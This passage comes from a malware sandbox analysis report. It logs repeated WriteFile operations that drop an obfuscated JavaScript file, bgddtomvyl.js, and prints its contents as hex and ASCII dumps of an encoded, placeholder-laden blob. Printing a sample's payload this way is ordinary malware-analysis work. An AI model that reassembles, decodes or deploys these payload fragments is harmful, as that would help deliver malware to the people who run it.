6e 7b 30 7d 55 5a 7b 
30 7d 5a 48 6b 72 7b 
30 7d 57 4e 34 4c 7b 
30 7d 77 6c 61 6d 5a 
55 7b 30 7d 6e 4e 46 
57 6a 4e 74 4b 7a 41 
35 52 58 5a 50 55 57 
31 71 62 7b 32 7d 55 
35 5a 6e 63 77 61 6c 
55 78 4d 6c 4a 77 7b 
30 7d 7b 32 7d 67 7a 
63 30 35 6a 4f 56 42 
4f 4d 43 30 38 4a 55 
31 43 61 6d 30 72 59 
57 7b 31 7d 4e 53 45 
31 6e 4e 58 42 6f 62 
55 7b 31 7d 53 53 57 
31 4e 7b 30 7d 55 39 
68 4d 46 4a 6c 7b 30 
7d 46 46 4e 53 48 46 
79 65 69 74 75 53 32 
77 79 59 6c 4a 4e 64 
45 51 72 63 46 4e 4c 
63 6a 5a 6f 55 45 56 
58 4c 33 49 72 4e 55 
7b 31 7d 53 4f 46 7b 
31 7d 6f 7b 30 7d 43 
30 38 4a 

Y1dmZ5RWRwMzdwQ2Q2
U0dkV2{1}jaW
15NEIxUEVCN1RqN{0}ZM
L2tJMnlwb0
{1}n{0}UZ{0}ZHkr{0}WN4L{
0}wlam
ZU{0}nNFWjNtKzA5RXZP
UW1qb{2}U5
ZncwalUxMlJw{0}
{2}gzc05jOVBOMC
08JU1Cam0rYW{1}NSE1n
NXBobU{1}S
SW1N{0}U9hMFJl{0}FFNS
HFyeituS2
wyYlJNdEQrcFNLcjZoUEV
XL3IrNU{1
}SOF{1}o{0}C08J
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76 59 30 31 4d 61 79 
39 47 64 46 56 78 52 
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32 7d 62 6d 39 30 55 
57 56 6c 4e 6c 6f 32 
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7d 57 58 56 31 57 47 
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34 52 48 59 30 53 7b 
30 7d 4a 43 55 7a 51 
77 7b 30 7d 57 52 71 
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74 50 43 56 36 4f 57 
59 30 56 56 4a 52 51 
6d 73 79 56 45 4a 6b 
53 45 52 43 57 48 42 
58 61 7b 30 7d 46 7b 
31 7d 4d 32 64 77 53 
53 74 55 61 6d 5a 4c 
4f 57 64 50 55 6a 5a 
4a 4e 6d 55 76 4e 47 
46 32 56 46 42 55 56 
46 4a 48 55 7a 68 69 
5a 69 30 38 4a 58 4a 
6a 65 57 4e 6b 4b 7a 
6c 6b 4e 32 68 59 56 
58 64 7b 30 7d 4e 7b 
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6b 7b 31 7d 6a 55 6b 
5a 46 4c 7b 30 7d 77 
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6c 4e 6d 56 33 51 31 
68 4f 5a 6e 56 43 62 
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53 39 53 5a 57 31 73 
5a 6a 46 47 56 45 35 
71 4f 47 55 7a 63 47 
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4e 32 53 57 35 78 55 
46 4a 7a 63 6c 6b 79 
4e 6e 4a 78 55 7a 56 
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35 69 53 7b 32 7d 6b 
30 53 32 6c 6b 5a 30 
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7b 31 7d 7b 32 7d 53 
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32 55 6b 73 74 50 43 
55 30 4d 47 49 76 7b 
30 7d 79 74 6c 5a 7b 
30 7d 49 32 56 69 73 
78 62 79 39 4a 4e 58 
64 4b 64 6d 45 72 64 
45 39 72 55 32 46 6b 
62 30 56 45 63 55 4e 
68 4e 7b 32 7d 6c 5a 
61 48 46 6f 52 33 45 
79 7b 30 7d 6a 6c 4b 
55 57 52 74 4e 6e 5a 
36 7b 30 7d 46 4e 78 
53 69 39 4c 4d 32 5a 
4d 7b 30 7d 43 74 6d 
4e 6b 68 7a 56 6a 68 
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5a 6d 4d 32 68 4a 65 
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30 7d 32 56 56 53 7b 
32 7d 52 48 62 7b 32 
7d 6b 7a 63 33 68 32 
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53 56 68 69 63 7b 30 
7d 5a 7a 59 30 52 6c 
57 6b 6f 78 4f 55 52 
7a 62 48 4a 73 53 46 
7b 31 7d 77 62 6b 78 
55 53 6b 5a 58 5a 43 
74 45 65 6b 74 31 64 
6c 56 68 64 6b 38 7a 
53 56 68 45 4c 7b 30 
7d 77 6c 4d 55 4a 7b 
32 7d 4e 47 5a 4e 57 
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4e 45 52 53 7b 30 7d 
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55 6c 74 62 6d 52 61 
4c 79 74 53 51 31 4d 
35 5a 6a 4a 32 4d 6a 
42 32 65 6c 52 4f 56 
6d 6b 74 50 43 56 32 
61 6e 56 71 62 6b 78 
77 51 7a 49 7a 7b 30 
7d 7b 30 7d 4e 43 4e 
57 64 55 4e 7b 30 7d 
5a 49 4f 47 56 51 55 
57 52 69 55 7b 30 7d 
56 6c 4f 58 42 57 56 
69 30 38 4a 58 6c 45 
51 6d 35 4f 56 55 5a 
31 56 32 30 34 64 6e 
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7b 30 7d 6d 52 45 56 
6a 52 43 63 6a 4e 77 
64 6c 6b 31 4e 30 31 
6a 61 6d 56 73 7b 30 
7d 6d 7b 31 7d 45 53 
33 7b 31 7d 31 5a 6b 
39 7b 32 7d 4e 57 49 
34 51 6c 4d 32 59 79 
74 4a 4e 6d 5a 4b 65 
47 68 34 4c 7a 64 7b 
32 7d 4d 6e 68 49 52 
7a 46 74 57 56 68 77 
53 46 4e 71 62 7b 32 
7d 5a 5a 4f 48 51 35 
64 45 4a 68 4e 7b 30 
7d 64 4e 51 6a 49 74 
50 43 56 7b 30 7d 61 
6c 52 31 7b 30 7d 58 
42 58 62 48 42 46 65 
56 56 73 61 6d 67 33 
4d 79 74 71 64 6a 41 
30 61 7b 30 7d 42 77 
63 6c 42 47 4e 30 6b 
31 55 30 5a 33 65 6a 
42 58 52 69 30 38 4a 
55 64 77 61 6b 5a 53 
4d 45 6c 33 56 57 39 
4e 4e 6c 68 75 62 55 
68 7b 31 7d 62 33 5a 
76 4e 7a 45 79 62 46 
6c 6e 53 32 6c 31 52 
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57 56 4a 4c 56 6b 4a 
53 52 30 4e 53 64 6b 
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4b 7a 51 74 50 43 56 
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58 4a 6a 7b 30 7d 32 
4a 32 64 6e 42 57 4c 
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7d 46 46 72 4f 46 68 
61 65 47 4e 53 7b 30 
7d 47 46 36 64 55 68 
6f 64 7a 56 43 55 47 
63 72 7b 30 7d 48 42 
34 65 57 78 78 4e 32 
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68 59 61 

QmlML{0}wlZWY2L3FaSm
ROMW83{0}{
0}JzRU4yY{0}Y2bmVROE
M5LzB{1}cm
{1}ub1B6{0}V{1}wdytFV2R
2Zi9aQm
V{0}M1hW{0}zd0MUNHdGl
RcU8zOXdO
Z{2}JlV1{1}rMkVKd01rZm{
1}jY{0}
FrUjQ0RWt{2}N0ZobVVLe
S08JUVSWX
N{2}SE8rbjY1YkdYRHBtM
{2}IzN3c1
NEV5UGhiZW9W{0}CtLb0
V{0}cytFaF
E3NjllNGJLUjhYa

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 6b 33 51 6b 64 7b 30 
7d 4c 32 49 74 50 43 
56 4e 55 33 59 79 56 
57 78 7b 30 7d 4d 30 
74 71 63 47 64 76 5a 
79 74 43 51 6c 4a 71 
64 48 64 73 5a 6d 78 
46 4d 55 4e 68 55 45 
31 7a 4e 30 52 30 52 
32 34 32 52 46 5a 75 
53 55 4d 33 62 47 46 
32 53 7b 32 7d 6c 56 
61 48 4a 7b 30 7d 53 
46 42 47 56 6c 4e 6b 
57 6e 56 56 63 30 51 
30 4c 7a 56 69 65 55 
68 46 5a 48 68 7b 30 
7d 63 55 68 79 51 30 
77 77 57 6b 4a 49 55 
6a 56 7b 32 7d 53 56 
6c 7b 31 7d 61 45 5a 
73 53 6b 38 31 51 6c 
5a 4a 7b 30 7d 48 67 
35 62 46 46 6e 5a 6b 
7b 31 7d 76 4c 31 64 
33 7b 30 7d 45 4e 30 
61 45 31 4b 56 48 42 
76 55 7b 30 7d 4a 53 
4b 7a 4d 74 50 43 56 
6c 56 32 56 31 57 45 
64 69 56 6c 64 79 63 
32 39 53 4d 6a 46 7b 
30 7d 57 46 6c 71 59 
7a 56 69 64 47 35 32 
57 47 56 76 52 57 6c 
76 61 6b 56 47 52 7b 
30 7d 5a 

k3Qkd{0}L2ItPCVNU3YyV
Wx{0}M0tq
cGdvZytCQlJqdHdsZmxF
MUNhUE1zN0
R0R242RFZuSUM3bGF2S
{2}lVaHJ{0}
SFBGVlNkWnVVc0Q0LzVi
eUhFZHh{0}
cUhyQ0wwWkJIUjV{2}SVl{
1}aEZsSk
81QlZJ{0}Hg5bFFnZk{1}vL
1d3{0}E
N0aE1KVHBvU{0}JSKzMt
PCVlV2V1WE
diVldyc29SMjF{0}WFlqYz
VidG52WG
VvRWlvakVGR{0}Z

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 153 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 4c 7b 30 7d 77 6c 52 
33 64 74 63 53 38 76 
56 6d 35 75 62 6d 4e 
7a 53 55 7b 31 7d 79 
55 43 30 38 4a 55 64 
4b 57 6b 5a 6d 4d 30 
68 77 56 6c 42 6e 4d 
30 4a 7a 63 32 6c 5a 
55 33 59 33 64 47 39 
6b 59 6b 52 76 53 31 
64 73 64 79 30 38 4a 
58 6f 72 65 46 42 78 
5a 32 30 79 61 45 68 
73 55 7b 30 7d 6c 76 
64 6e 7b 31 7d 77 64 
30 56 7b 30 7d 7b 30 
7d 6a 5a 34 4d 56 56 
59 53 45 6c 6b 4d 31 
4e 6a 57 47 64 4d 4c 
32 56 61 5a 46 68 59 
62 48 7b 31 7d 56 51 
6c 6b 77 57 58 4a 77 
63 46 5a 6d 5a 32 56 
6b 57 6e 64 78 52 30 
6c 48 64 6b 52 7b 32 
7d 4f 53 30 38 4a 56 
5a 7b 31 7d 7b 30 7d 
6a 46 76 55 57 39 76 
62 6b 73 35 56 47 4a 
36 4d 7b 30 7d 52 59 
53 6c 52 7b 31 7d 53 
7b 32 7d 68 53 53 58 
5a 7b 31 7d 57 57 78 
74 65 47 5a 49 57 55 
38 77 56 7b 32 7d 46 
48 4d 32 68 52 51 6c 
42 45 51 

L{0}wlR3dtcS8vVm5ubmN
zSU{1}yUC
08JUdKWkZmM0hwVlBn
M0Jzc2lZU3Y3
dG9kYkRvS1dsdy08JXore
FBxZ20yaE
hsU{0}lvdn{1}wd0V{0}
{0}jZ4MVVY
SElkM1NjWGdML2VaZFh
YbH{1}VQlkw
WXJwcFZmZ2VkWndxR0l
HdkR{2}OS08JVZ{1}
{0}jFvUW9vbks5VGJ6M{0}
RY
SlR{1}S{2}hSSXZ{1}WWxt
eGZIWU8w
V{2}FHM2hRQlBEQ

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 5a 47 4e 7b 32 7d 4a 
77 52 55 77 74 50 43 
55 7a 53 31 42 48 59 
57 4e 6e 5a 32 56 69 
59 6d 56 4a 4f 47 46 
46 63 46 46 46 5a 57 
64 6c 5a 57 6c 7b 31 
7d 61 31 5a 45 56 6e 
59 78 64 31 64 69 52 
46 6b 30 7b 30 7d 33 
51 77 51 32 35 45 55 
32 6f 7a 65 47 56 46 
59 6b 35 7b 30 7d 56 
30 6c 32 61 56 4e 30 
62 58 52 6e 7b 30 7d 
6d 31 6c 65 6d 7b 31 
7d 74 55 55 52 58 52 
48 4a 6a 62 30 4e 6f 
52 7b 32 7d 46 51 56 
6b 39 7a 61 6c 7b 31 
7d 57 64 6d 78 72 56 
48 46 6f 56 55 35 4d 
55 45 4e 61 62 55 52 
78 65 45 39 53 4c 30 
31 75 63 7b 32 7d 59 
76 5a 46 49 7a 62 30 
64 55 51 30 6c 59 4c 
7b 30 7d 77 6c 63 6a 
59 72 62 45 74 45 57 
53 73 30 4e 30 4e 53 
62 57 30 33 57 45 7b 
31 7d 74 51 7a 68 73 
62 45 4e 33 56 7b 30 
7d 55 30 57 45 56 36 
61 45 35 4b 55 56 63 
30 57 56 64 79 55 55 
6c 4d 62 

ZGN{2}JwRUwtPCUzS1B
HYWNnZ2ViYm
VJOGFFcFFFZWdlZWl{1}
a1ZEVnYxd1
diRFk0{0}3QwQ25EU2oze
GVFYk5{0}
V0l2aVN0bXRn{0}m1lem{1
}tUURXRH
Jjb0NoR{2}FQVk9zal{1}Wd
mxrVHFo
VU5MUENabURxeE9SL01
uc{2}YvZFIz
b0dUQ0lYL{0}wlcjYrbEtE
WSs0N0NS
bW03WE{1}tQzhsbEN3V{0
}U0WEV6aE
5KUVc0WVdyUUlMb

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 154 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 4f 7b 32 7d 49 34 64 
30 68 76 4c 31 45 35 
4e 53 73 78 53 57 64 
4b 63 45 4d 77 64 7b 
32 7d 42 7a 4e 6a 6c 
71 56 55 39 76 65 57 
5a 58 52 7b 30 7d 68 
33 4d 33 52 30 57 56 
46 31 56 57 74 69 62 
56 45 72 4e 33 68 34 
63 55 67 77 5a 57 78 
58 62 48 52 4d 61 6b 
78 51 56 30 56 74 64 
46 64 72 63 46 4a 34 
61 58 55 34 62 6d 56 
4e 4f 57 59 30 51 32 
52 7b 31 7d 56 7a 4e 
75 63 53 38 72 52 6d 
67 77 4d 55 35 56 61 
6b 59 34 62 58 56 6b 
62 31 7b 31 7d 52 63 
6b 56 34 5a 31 56 6c 
4d 32 45 76 65 6b 39 
58 4d 6e 6b 72 62 55 
4e 77 61 46 6c 30 62 
6e 56 71 62 7b 32 7d 
5a 4f 5a 30 5a 6e 7b 
30 7d 32 5a 4b 63 30 
4d 31 4c 7b 30 7d 77 
6c 52 6d 35 35 53 57 
35 76 5a 6d 67 33 4d 
7b 30 7d 4a 53 55 30 
39 45 62 47 64 7b 32 
7d 4f 46 46 33 4e 32 
52 4a 4d 33 5a 79 63 
46 68 46 4b 30 7b 31 
7d 4c 62 

O{2}I4d0hvL1E5NSsxSWd
KcEMwd{2}
BzNjlqVU9veWZXR{0}h3M
3R0WVF1VW
tibVErN3h4cUgwZWxXbH
RMakxQV0Vt
dFdrcFJ4aXU4bmVNOWY
0Q2R{1}VzNu
cS8rRmgwMU5VakY4bXV
kb1{1}RckV4
Z1VlM2Evek9XMnkrbUNw
aFl0bnVqb{
2}ZOZ0Zn{0}2ZKc0M1L{0}
wlRm55SW
5vZmg3M{0}JSU09EbGd{2
}OFF3N2RJ
M3ZycFhFK0{1}Lb

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 5a 57 31 4a 4e 6c 46 
4f 62 6c 4e 30 63 53 
74 4d 5a 32 56 51 4d 
6b 35 34 62 55 6f 79 
63 6d 35 57 7b 30 7d 
79 74 6d 55 33 5a 35 
4d 30 74 6b 63 7a 46 
45 56 48 4e 72 5a 45 
74 6c 4c 30 74 49 63 
32 4e 4f 7b 30 7d 31 
68 50 63 58 56 6e 61 
46 4a 6d 4e 6a 46 76 
5a 32 31 4a 4e 53 39 
33 55 55 5a 46 57 6c 
42 43 4d 7b 30 7d 46 
61 64 48 6b 7a 64 69 
74 49 63 46 68 51 56 
6a 56 57 4f 58 4e 6d 
4b 32 35 55 61 69 39 
7b 32 7d 5a 33 4d 77 
4d 45 74 33 64 48 4a 
4d 53 46 56 36 65 47 
7b 31 7d 52 56 6d 4e 
30 62 33 68 48 63 6b 
68 48 61 6b 59 79 62 
45 56 45 4f 43 30 38 
4a 58 42 45 64 6c 49 
74 50 43 56 59 63 6c 
7b 31 7d 74 53 30 35 
77 4e 6a 68 43 4f 7b 
32 7d 52 52 7b 30 7d 
53 30 38 4a 55 68 6f 
5a 46 56 48 4c 79 39 
43 5a 6d 64 55 56 33 
4e 72 63 56 49 72 56 
33 46 7a 56 6a 68 59 
57 56 52 

ZW1JNlFOblN0cStMZ2VQ
Mk54bUoycm
5W{0}ytmU3Z5M0tkczFEV
HNrZEtlL0
tIc2NO{0}1hPcXVnaFJmNj
FvZ21JNS
93UUZFWlBCM{0}FadHkz
ditIcFhQVj
VWOXNmK25Uai9{2}Z3M
wMEt3dHJMSF
V6eG{1}RVmN0b3hHckhH
akYybEVEOC
08JXBEdlItPCVYcl{1}tS05
wNjhCO{
2}RR{0}S08JUhoZFVHLy9
CZmdUV3Nr
cVIrV3FzVjhYWVR

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 155 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 64 30 5a 58 53 6e 4a 
34 52 48 46 58 52 32 
7b 31 7d 71 62 32 55 
77 64 6e 56 45 52 6c 
56 6e 5a 47 6c 75 4d 
45 6c 72 4d 6a 6c 4a 
51 32 52 6d 55 31 68 
5a 63 53 30 38 4a 55 
74 4e 53 6d 64 6d 64 
56 7b 31 7d 7b 31 7d 
64 32 49 30 7b 30 7d 
56 5a 5a 61 7b 30 7d 
56 36 5a 32 73 74 50 
43 56 61 56 6c 4a 50 
4d 33 56 6c 51 30 4e 
4b 56 6e 6f 7a 63 55 
52 52 4d 7a 68 4f 4d 
58 56 7b 30 7d 52 58 
4a 6d 55 53 74 48 57 
45 35 31 4e 31 4e 4e 
65 56 45 32 61 6b 39 
71 63 47 68 4a 55 57 
30 35 55 45 67 30 55 
7b 32 7d 68 59 55 6d 
68 51 4c 33 5a 59 57 
6d 64 4c 7b 30 7d 6e 
67 77 57 6d 67 7a 61 
55 68 73 56 55 4a 56 
64 6d 35 68 4d 57 35 
4a 59 58 55 79 4d 46 
7b 31 7d 6f 4d 7a 4e 
30 4f 7b 32 7d 45 72 
63 56 42 6b 4f 45 49 
32 4c 32 59 35 55 7b 
32 7d 67 32 4e 43 39 
74 62 56 7b 31 7d 43 
4d 7a 49 

d0ZXSnJ4RHFXR2{1}qb2
UwdnVERlVn
ZGluMElrMjlJQ2RmU1hZc
S08JUtNSmdmdV{1}
{1}d2I0{0}VZZa{0}V6Z2st
PCVaVlJPM3VlQ0NKVnoz
cURRMzhOMX
V{0}RXJmUStHWE51N1N
NeVE2ak9qcG
hJUW05UEg0U{2}hYUmh
QL3ZYWmdL{0
}ngwWmgzaUhsVUJVdm5
hMW5JYXUyMF
{1}oMzN0O{2}ErcVBkOEI2
L2Y5U{2}
g2NC9tbV{1}CMzI

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 53 7b 30 7d 52 49 55 
6c 59 77 57 6d 5a 31 
56 56 46 4c 7b 30 7d 
55 59 79 4e 6b 52 47 
55 45 56 51 7b 30 7d 
33 5a 4b 4e 31 64 53 
5a 33 68 7b 32 7d 4d 
58 6b 76 62 48 42 79 
52 47 34 76 51 6a 64 
50 57 57 52 45 57 7b 
32 7d 5a 71 63 48 46 
30 59 32 39 4e 4f 58 
4e 76 4d 7b 30 7d 59 
7a 57 7b 32 7d 4e 56 
52 55 4e 72 61 46 4e 
53 5a 47 49 74 50 43 
56 43 5a 7b 30 7d 42 
7b 30 7d 4e 32 38 33 
64 55 4a 4f 52 7b 30 
7d 52 4b 56 45 6c 47 
64 45 4a 7b 32 7d 64 
56 46 34 59 7a 68 49 
63 56 42 7a 63 6d 78 
35 56 7b 30 7d 56 69 
7b 30 7d 6c 64 47 56 
7b 32 7d 5a 58 52 79 
39 36 64 6d 31 50 55 
30 74 45 52 32 38 30 
55 48 4e 7b 32 7d 57 
55 6b 7a 4e 6e 42 71 
59 6e 4a 73 52 6b 78 
6a 61 47 64 43 5a 56 
52 47 51 79 74 68 7b 
30 7d 32 56 69 4e 6c 
6c 72 59 7b 30 7d 56 
6b 51 6a 46 61 63 30 
35 79 7b 

S{0}RIUlYwWmZ1VVFL{0}
UYyNkRGUE
VQ{0}3ZKN1dSZ3h{2}MXk
vbHByRG4v
QjdPWWREW{2}ZqcHF0Y
29NOXNvM{0}
YzW{2}NVRUNraFNSZGIt
PCVCZ{0}B{
0}N283dUJOR{0}RKVElGd
EJ{2}dVF4
YzhIcVBzcmx5V{0}Vi{0}ld
GV{2}ZX
Ry96dm1PU0tER280UHN{
2}WUkzNnBq
YnJsRkxjaGdCZVRGQyth{
0}2ViNllrY{0}VkQjFac05y{

success or wait 2 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 156 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 6c 53 5a 6e 5a 6f 59 
53 39 58 55 33 4e 71 
61 30 67 33 56 56 6b 
7a 4f 57 64 58 4e 6e 
49 31 7b 30 7d 6a 4a 
61 4b 30 6c 76 4b 30 
6c 52 52 32 74 71 4c 
7b 30 7d 77 6c 57 69 
39 72 59 6b 7b 31 7d 
53 59 58 42 7a 5a 6d 
52 74 52 31 4a 6a 63 
57 46 6d 53 6e 46 7a 
61 47 7b 31 7d 7b 32 
7d 5a 6c 6c 7b 32 7d 
56 6d 6c 71 4d 30 67 
77 4d 6e 67 74 50 43 
56 71 4d 47 4e 7b 32 
7d 5a 46 5a 6c 62 6d 
5a 77 7b 30 7d 57 39 
53 65 55 6c 45 61 55 
39 43 4b 7a 6c 73 65 
6e 68 36 55 6d 4a 48 
56 6d 52 74 4d 7a 56 
5a 64 32 74 46 4e 30 
4e 30 4e 58 52 45 4d 
57 4a 58 7b 30 7d 55 
4a 49 5a 33 4e 52 65 
45 74 76 52 57 7b 31 
7d 33 4c 30 68 77 63 
31 4a 72 63 46 5a 6d 
59 57 74 75 7b 30 7d 
47 4e 46 63 6c 4a 4d 
62 55 7b 31 7d 5a 56 
46 4e 35 61 45 39 7b 
30 7d 7b 30 7d 6c 67 
31 62 45 34 32 64 45 
78 50 5a 

lSZnZoYS9XU3Nqa0g3VV
kzOWdXNnI1
{0}jJaK0lvK0lRR2tqL{0}wl
Wi9rYk
{1}SYXBzZmRtR1JjcWFm
SnFzaG{1}{
2}Zll{2}VmlqM0gwMngtPC
VqMGN{2}
ZFZlbmZw{0}W9SeUlEaU9
CKzlsenh6
UmJHVmRtMzVZd2tFN0N
0NXREMWJX{0
}UJIZ3NReEtvRW{1}3L0h
wc1JrcFZm
YWtu{0}GNFclJMbU{1}ZV
FN5aE9{0}
{0}lg1bE42dExPZ

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 41 32 55 58 7b 31 7d 
6d 61 55 6c 50 59 30 
31 6f 59 33 49 32 64 
7a 4e 6a 61 45 4a 31 
62 6a 4e 74 52 7b 30 
7d 4e 6f 4c 7b 30 7d 
77 6c 59 31 56 79 62 
32 4a 50 62 32 31 32 
65 58 45 32 51 30 78 
4a 57 57 67 32 57 55 
6c 7a 63 55 74 4e 64 
6e 52 72 59 6c 64 30 
4d 6c 68 53 4d 58 42 
6f 7b 30 7d 47 52 77 
52 30 56 6e 4d 58 4d 
32 4e 6a 51 72 65 6a 
46 32 63 31 52 7b 31 
7d 65 6c 5a 6a 59 6b 
52 77 5a 32 64 6a 4e 
7b 32 7d 4a 71 4d 7b 
32 7d 46 4d 62 33 59 
72 55 48 68 74 5a 48 
64 7b 31 7d 4e 31 5a 
69 63 32 46 7b 30 7d 
4d 31 7b 31 7d 43 65 
47 63 76 7b 30 7d 55 
5a 69 56 6a 59 74 50 
43 55 74 50 43 55 35 
65 6e 4a 43 63 6e 5a 
4d 55 58 46 30 56 55 
56 68 62 7b 32 7d 45 
74 50 43 56 57 52 33 
64 73 62 46 4a 71 63 
6a 42 4d 4c 32 39 6c 
53 47 78 59 62 79 30 
38 4a 57 38 78 55 31 
68 59 62 

A2UX{1}maUlPY01oY3I2d
zNjaEJ1bj
NtR{0}NoL{0}wlY1Vyb2JPb
212eXE2
Q0xJWWg2WUlzcUtNdnRr
Yld0MlhSMX
Bo{0}GRwR0VnMXM2NjQr
ejF2c1R{1}
elZjYkRwZ2djN{2}JqM{2}F
Mb3YrUH
htZHd{1}N1Zic2F{0}M1{1}C
eGcv{0
}UZiVjYtPCUtPCU5enJCc
nZMUXF0VU
Vhb{2}EtPCVWR3dsbFJqc
jBML29lSG
xYby08JW8xU1hYb

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 157 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 32 7d 64 46 62 45 31 
43 56 43 39 7b 31 7d 
61 48 55 78 52 6a 4e 
73 57 45 4d 76 7b 30 
7d 57 4e 58 52 57 4a 
4b 64 30 39 7b 32 7d 
53 47 46 7b 31 7d 59 
31 46 34 5a 57 74 75 
52 46 6f 35 62 30 59 
33 62 30 4a 49 4b 31 
4e 55 64 6e 7b 31 7d 
36 5a 57 5a 75 61 46 
63 78 65 55 74 7b 30 
7d 7b 30 7d 55 35 6d 
52 7a 64 57 52 46 5a 
5a 51 6b 30 78 51 6c 
4e 7a 4d 6c 51 30 4d 
30 4a 59 62 32 46 33 
51 33 4a 7b 30 7d 65 
45 74 4b 7b 30 7d 58 
59 74 50 43 56 6f 7b 
30 7d 33 4e 79 53 46 
52 51 53 6c 6c 4a 5a 
56 42 77 4d 57 74 7b 
30 7d 5a 33 6c 78 4c 
7b 30 7d 77 6c 7b 30 
7d 48 4e 45 4e 57 7b 
31 7d 49 57 7b 32 7d 
5a 71 62 6a 4e 4a 64 
47 78 4a 4d 45 56 4e 
64 6e 46 75 4e 31 52 
69 62 55 68 7a 62 6e 
42 4f 59 55 52 53 64 
45 7b 31 7d 6f 52 55 
4e 58 64 46 7b 31 7d 
58 64 7b 32 7d 64 36 
5a 56 52 

2}dFbE1CVC9{1}aHUxRjN
sWEMv{0}W
NXRWJKd09{2}SGF{1}Y1
F4ZWtuRFo5
b0Y3b0JIK1NUdn{1}6ZWZ
uaFcxeUt{0}
{0}U5mRzdWRFZZQk0xQl
NzMlQ0M0
JYb2F3Q3J{0}eEtK{0}XYt
PCVo{0}3
NySFRQSllJZVBwMWt{0}
Z3lxL{0}wl
{0}HNENW{1}IW{2}ZqbjNJ
dGxJMEVN
dnFuN1RibUhzbnBOYURS
dE{1}oRUNX
dF{1}Xd{2}d6ZVR

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 7d 47 59 55 56 43 4e 
45 74 6d 53 6d 6c 73 
59 33 64 55 4d 6d 63 
31 61 7b 30 7d 4a 56 
59 79 39 36 7b 30 7d 
6c 7b 31 7d 61 61 31 
52 75 59 58 46 7a 4c 
33 46 74 64 33 5a 74 
5a 45 77 76 4e 45 78 
6d 7b 30 7d 57 46 4c 
7b 30 7d 7a 46 7a 55 
6c 5a 4d 55 48 42 46 
51 6e 5a 68 59 7a 6c 
6d 63 6c 4a 72 56 31 
46 4e 56 33 41 74 50 
43 56 30 57 7b 32 7d 
6b 78 51 6e 49 31 55 
7b 30 7d 41 33 63 30 
73 77 62 7a 63 30 4d 
47 77 72 62 55 78 45 
4f 55 4a 56 56 32 63 
30 53 30 74 48 59 6d 
5a 7b 32 7d 65 6a 64 
4d 62 45 74 35 55 6c 
6c 4e 61 6c 45 33 4d 
32 4e 43 61 30 78 72 
51 31 6c 59 7b 30 7d 
46 64 4b 4d 31 4e 4d 
56 6e 64 75 4e 6e 6c 
6d 64 55 38 34 55 32 
56 35 4d 6d 46 36 65 
58 68 31 59 6d 39 59 
52 47 31 52 52 58 5a 
78 53 32 6b 74 50 43 
56 51 5a 6e 4a 52 53 
45 74 6b 64 57 35 72 
4e 47 7b 

}GYUVCNEtmSmlsY3dUM
mc1a{0}JVYy
96{0}l{1}aa1RuYXFzL3Ftd
3ZtZEwv
NExm{0}WFL{0}zFzUlZMU
HBFQnZhYz
lmclJrV1FNV3AtPCV0W{2
}kxQnI1U{
0}A3c0swbzc0MGwrbUxE
OUJVV2c0S0
tHYmZ{2}ejdMbEt5UllNalE
3M2NCa0
xrQ1lY{0}FdKM1NMVnduN
nlmdU84U2
V5MmF6eXh1Ym9YRG1R
RXZxS2ktPCVQ
ZnJRSEtkdW5rNG{

success or wait 1 73789FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright Joe Security LLC 2021 Page 158 of 577



C:\Users\user\bgddtomvyl.js unknown 1024 61 31 4e 7b 31 7d 55 
46 52 78 62 33 56 7a 
59 6c 42 77 55 48 68 
30 64 46 56 79 4f 47 
4e 51 65 7b 32 7d 5a 
4b 4d 57 51 79 7b 30 
7d 6b 68 78 52 6e 67 
74 50 43 55 33 56 48 
51 77 7b 30 7d 6d 56 
36 4f 7b 30 7d 6c 6b 
5a 7b 30 7d 52 4f 56 
48 64 53 53 48 51 32 
51 33 52 35 5a 6a 63 
72 56 6d 4e 43 51 33 
68 6c 4e 47 46 47 56 
58 68 77 53 53 39 6c 
5a 55 64 46 5a 56 46 
43 63 7a 52 72 64 6a 
5a 46 4f 56 42 30 59 
58 67 33 61 47 63 7a 
52 6c 4e 57 55 57 68 
43 57 57 56 36 65 47 
4d 30 64 6a 42 34 57 
7b 30 7d 42 4c 64 57 
64 48 4c 79 39 77 65 
69 39 78 61 7b 30 7d 
5a 48 65 7b 30 7d 4a 
34 63 47 45 33 56 33 
5a 72 65 56 51 77 5a 
57 56 59 53 47 52 4c 
5a 56 42 6f 65 6b 63 
77 55 56 7b 31 7d 7b 
32 7d 4f 56 6c 4e 64 
32 56 49 7b 30 7d 46 
56 36 4d 47 68 35 4c 
31 67 74 50 43 56 58 
4e 46 6c 

a1N{1}UFRxb3VzYlBwUHh
0dFVyOGNQ
e{2}ZKMWQy{0}khxRngtP
CU3VHQw{0
}mV6O{0}lkZ{0}ROVHdSS
HQ2Q3R5Zj
crVmNCQ3hlNGFGVXhwS
S9lZUdFZVFC
czRrdjZFOVB0YXg3aGcz
RlNWUWhCWW
V6eGM0djB4W{0}BLdWdH
Ly9wei9xa{
0}ZHe{0}J4cGE3V3ZreVQ
wZWVYSGRL
ZVBoekcwUV{1}
{2}OVlNd2VI{0}FV6
MGh5L1gtPCVXNFl

success or wait 1 73789FBC WriteFile

C:\Users\user\bgddtomvyl.js unknown 1024 61 32 7b 31 7d 79 52 
